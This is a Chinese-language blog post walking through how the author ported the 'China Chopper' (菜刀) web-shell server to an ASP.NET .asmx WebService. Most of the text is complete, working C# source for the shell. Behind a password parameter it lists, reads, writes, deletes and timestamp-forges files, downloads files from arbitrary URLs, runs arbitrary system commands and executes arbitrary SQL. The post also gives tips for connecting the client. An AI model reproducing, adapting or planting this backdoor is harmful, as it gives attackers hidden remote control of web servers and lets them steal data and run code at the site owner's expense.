作者:RedFree
前些天刚学了点ASP.NET的知识，怕学的东西忘了，于是趁热打铁，顺道看了下WebService。WebService这东西以前没有接触过，比较陌生，一点点的搜索，勉勉强强完成了菜刀Customize类型服务端的asmx版。若有错误还请看官指出。
和其它类型的服务端一样，要完成和服务端的交互，必须具备这两点：1、可以获取参数 2、可以返回内容。于是就从这两个最基本的点入手。
VS2012新建一个网站，如下图设置：
可以看到，设置完毕后VS已经生成好了一部分代码。
按F5键调试一下看看吧：
点击一下HelloWorld，页面中已经给出了请求和响应的示例：
由于菜刀使用的是HTTP POST协议，所以SOAP请求是用不上了，点击下调用按钮看看吧：
返回了XML，string标签中包含了代码中返回的"Hello World"。
那么如何获取参数呢？
尝试改写代码如下：
出现了错误，经过好一番搜索，得到了解决方法（基础知识太差，这点小问题都耗费了我非常多的时间）。
using System; using System.Collections.Generic; using System.Web; using System.Web.Services; [WebService(Namespace = "http://tempuri.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] public class Service : System.Web.Services.WebService { public Service () { //如果使用设计的组件，请取消注释以下行 //InitializeComponent(); } [WebMethod] public string HelloWorld() { String Z = HttpContext.Current.Request.Form["z"]; return Z; } }
终于得到了理想的效果：
既然可以获得参数又可以返回结果，把菜刀自带Customize.aspx的代码拿来修改下看看是什么效果。
return 执行结果，浏览器中请求下看效果：
看起来结果似乎是让我满意的，然而当我使用菜刀连接的时候却成了这样：
查看网页源码：
我去，一些字符被转义了。。。通过：http://www.cnblogs.com/qiantuwuliang/archive/2010/03/29/1699361.html得知可以使用CDATA来解决转义的问题。
修改源码如下，浏览器中请求下看效果：
获得到了满意的结果（菜刀获取的是->||<-之间的内容，其它的字符不会影响结果的）。当然直接
HttpContext.Current.Response.Write("/x2D/x3E/x7C" + R + "/x7C/x3C/x2D");
也是可行的，虽然会报出XML错误，但不影响执行效果（完美主义者不可选）。
将cs文件是的代码写到asmx文件中去，最终获得asmx后缀的服务端：
<%@ WebService Language="C#" Class="Service" %> using System; using System.Web; using System.IO; using System.Net; using System.Text; using System.Data; using System.Data.SqlClient; using System.Collections.Generic; using System.Diagnostics; using System.Web.SessionState; using System.Web.Services; [WebService(Namespace = "http://www.wooyun.org/whitehats/RedFree")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] public class Service : System.Web.Services.WebService { public Service() { //如果使用设计的组件，请取消注释以下行 //InitializeComponent(); } [WebMethod] public string Chopper() { String Z = HttpContext.Current.Request.Form["z"];//设置密码 if (Z != "") { String Z1 = HttpContext.Current.Request.Form["Z1"]; String Z2 = HttpContext.Current.Request.Form["Z2"]; String R = ""; try { switch (Z) { case "A": { String[] c = Directory.GetLogicalDrives(); R = String.Format("{0}/t", HttpContext.Current.Server.MapPath("/")); for (int i = 0; i < c.Length; i++) R += c[i][0] + ":"; break; } case "B": { DirectoryInfo m = new DirectoryInfo(Z1); foreach (DirectoryInfo D in m.GetDirectories()) { R += String.Format("{0}//t{1}/t0/t-/n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); } foreach (FileInfo D in m.GetFiles()) { R += String.Format("{0}/t{1}/t{2}/t-/n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); } break; } case "C": { StreamReader m = new StreamReader(Z1, Encoding.Default); R = m.ReadToEnd(); m.Close(); break; } case "D": { StreamWriter m = new StreamWriter(Z1, false, Encoding.Default); m.Write(Z2); R = "1"; m.Close(); break; } case "E": { if (Directory.Exists(Z1)) { Directory.Delete(Z1, true); } else { File.Delete(Z1); } R = "1"; break; } case "F": { HttpContext.Current.Response.Clear(); HttpContext.Current.Response.Write("<?xml version=/"1.0/" encoding=/"utf-8/"?>"); HttpContext.Current.Response.Write("<data>"); HttpContext.Current.Response.Write("<![CDATA["); HttpContext.Current.Response.Write("/x2D/x3E/x7C"); HttpContext.Current.Response.WriteFile(Z1); HttpContext.Current.Response.Write("/x7C/x3C/x2D"); HttpContext.Current.Response.Write("]]>"); HttpContext.Current.Response.Write("</data>"); HttpContext.Current.Response.End(); goto End; } case "G": { byte[] B = new byte[Z2.Length / 2]; for (int i = 0; i < Z2.Length; i += 2) { B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16); } FileStream fs = new FileStream(Z1, FileMode.Create); fs.Write(B, 0, B.Length); fs.Close(); R = "1"; break; } case "H": { CP(Z1, Z2); R = "1"; break; } case "I": { if (Directory.Exists(Z1)) { Directory.Move(Z1, Z2); } else { File.Move(Z1, Z2); } break; } case "J": { Directory.CreateDirectory(Z1); R = "1"; break; } case "K": { DateTime TM = Convert.ToDateTime(Z2); if (Directory.Exists(Z1)) { Directory.SetCreationTime(Z1, TM); Directory.SetLastWriteTime(Z1, TM); Directory.SetLastAccessTime(Z1, TM); } else { File.SetCreationTime(Z1, TM); File.SetLastWriteTime(Z1, TM); File.SetLastAccessTime(Z1, TM); } R = "1"; break; } case "L": { HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1)); RQ.Method = "GET"; RQ.ContentType = "application/x-www-form-urlencoded"; HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); Stream WF = WB.GetResponseStream(); FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write); int i; byte[] buffer = new byte[1024]; while (true) { i = WF.Read(buffer, 0, buffer.Length); if (i < 1) { break; } FS.Write(buffer, 0, i); } WF.Close(); WB.Close(); FS.Close(); R = "1"; break; } case "M": { ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2)); Process e = new Process(); StreamReader OT, ER; c.UseShellExecute = false; c.RedirectStandardOutput = true; c.RedirectStandardError = true; e.StartInfo = c; c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2); e.Start(); OT = e.StandardOutput; ER = e.StandardError; e.Close(); R = OT.ReadToEnd() + ER.ReadToEnd(); break; } case "N": { String strDat = Z1.ToUpper(); SqlConnection Conn = new SqlConnection(Z1); Conn.Open(); R = Conn.Database + "/t"; Conn.Close(); break; } case "O": { String[] x = Z1.Replace("/r", "").Split('/n'); String strConn = x[0], strDb = x[1]; SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); DataTable dt = Conn.GetSchema("Columns"); Conn.Close(); for (int i = 0; i < dt.Rows.Count; i++) { R += String.Format("{0}/t", dt.Rows[i][2].ToString()); } break; } case "P": { String[] x = Z1.Replace("/r", "").Split('/n'), p = new String[4]; String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb; p[2] = strTable; SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); DataTable dt = Conn.GetSchema("Columns", p); Conn.Close(); for (int i = 0; i < dt.Rows.Count; i++) { R += String.Format("{0} ({1})/t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); } break; } case "Q": { String[] x = Z1.Replace("/r", "").Split('/n'); String strDat, strConn = x[0], strDb = x[1]; int i, c; strDat = Z2.ToUpper(); SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) { SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn); DataSet ds = new DataSet(); OD.Fill(ds); if (ds.Tables.Count > 0) { DataRowCollection rows = ds.Tables[0].Rows; for (c = 0; c < ds.Tables[0].Columns.Count; c++) { R += String.Format("{0}/t|/t", ds.Tables[0].Columns[c].ColumnName.ToString()); } R += "/r/n"; for (i = 0; i < rows.Count; i++) { for (c = 0; c < ds.Tables[0].Columns.Count; c++) { R += String.Format("{0}/t|/t", rows[i][c].ToString()); } R += "/r/n"; } } ds.Clear(); ds.Dispose(); } else { SqlCommand cm = Conn.CreateCommand(); cm.CommandText = Z2; cm.ExecuteNonQuery(); R = "Result/t|/t/r/nExecute Successfully!/t|/t/r/n"; } Conn.Close(); break; } default: goto End; } } catch (Exception E) { R = "ERROR:// " + E.Message; } HttpContext.Current.Response.Write("<?xml version=/"1.0/" encoding=/"utf-8/"?>"); HttpContext.Current.Response.Write("<data>"); HttpContext.Current.Response.Write("<![CDATA["); HttpContext.Current.Response.Write("/x2D/x3E/x7C" + R + "/x7C/x3C/x2D"); HttpContext.Current.Response.Write("]]>"); HttpContext.Current.Response.Write("</data>"); HttpContext.Current.Response.End(); End: ; } return ""; } public void CP(String S, String D) { if (Directory.Exists(S)) { DirectoryInfo m = new DirectoryInfo(S); Directory.CreateDirectory(D); foreach (FileInfo F in m.GetFiles()) { File.Copy(S + "//" + F.Name, D + "//" + F.Name); } foreach (DirectoryInfo F in m.GetDirectories()) { CP(S + "//" + F.Name, D + "//" + F.Name); } } else { File.Copy(S, D); } } }
注意下连接地址并不是http://xxx.xx/xx.asmx哦！
除数据库管理功能外，其它功能测试均正常，如有问题可At我。
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